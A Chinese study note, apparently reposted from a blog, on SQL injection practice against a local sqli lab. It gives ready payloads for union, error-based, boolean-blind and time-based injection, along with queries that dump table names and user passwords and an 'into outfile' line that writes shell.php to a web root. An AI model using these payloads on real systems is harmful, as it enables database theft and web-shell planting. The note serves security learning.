SQL注入

Union联合查询注入大致步骤:

1.判断列数 -- 通过 order by n;

2.判断显示位 -- id =-1 union select 1,2,3挨着试

 报错注入

1.报错注入就是构造让信息通过错误提示回显出来,

前提:页面上没有显示位,但是需要执行SQl语句输出错误信息

基于布尔类型的注入

页面上不需要显示位,也没有输出错误信息,只能通过页面返回是否正常

时间注入

原理:正确的sql语句和错误的sql语句返回的时间不一样,依此来判断查询结果的正确性,但是要耗费大量时间。

%23  注释掉      - - +也是

id title content time author

select * from new where id=1?
select 联合查询 union
order by 排序 先知道有几列 在联合查询
version 版本号
前后两个语句都对就显示ID了,把不要查的报错后面的版本信息就出来了id=-1 union select 1,2 ,version()
查询数据库中所有的库名
http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata 所有的库名

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' 表名

                                                 schemate     保存所有数据库的名字 tables       保存所有的表的名字 column      保存所有的字段的名字

id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'爆 列名
        schemata
库名.表名

 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.schemata

、、查询所有的表


union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()


查询当前库中某一个表的所有列 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'

group_concat schema.schemata SCHEMA_NAME

查字段的内容union select 1,group_concat(username),group_concat(password) from security.users 或者 union select 1,2,group_concat(username, '-',password) from users


查询所有的咧 select column_name from

报错查询') union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1) %23

id=') union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1) %23

select ascii(substr(database(),1,1)) = 127                 substr 截取字符串函数
先报错
select ascii(substr(database(),1,1)) =                               id=1' and ascii(substr(database(),1,1)) > 64 %23 求数据库名的首字母

求用户名的长度 id=1' and (select length (user())=14)--+                     length 求长度的函数
http://10.1.2.5:10631/sqli/Less-8/?id=1'and ength(current_user())%23

求当前用户名的函数current_user() 时间盲注 select if(length(current_user())=14,sleep(2),1);

 

 

时间注入: if(payload,sleep(3),1) 即payload正确时,程序暂停3秒。否则立刻执行
?id=1" and sleep(5) %23 时间判断是什么语句
if()语句
id=1" and if(ascii(substr(database(),1,1)) = 115, sleep(2),1) %查询当前数据库用户名的首字母

?id=1')) union select 1,2,3 into outfile 'c:\\www\\shell.php' %23 写入文件

转载于:https://www.cnblogs.com/hou159656/p/8885495.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值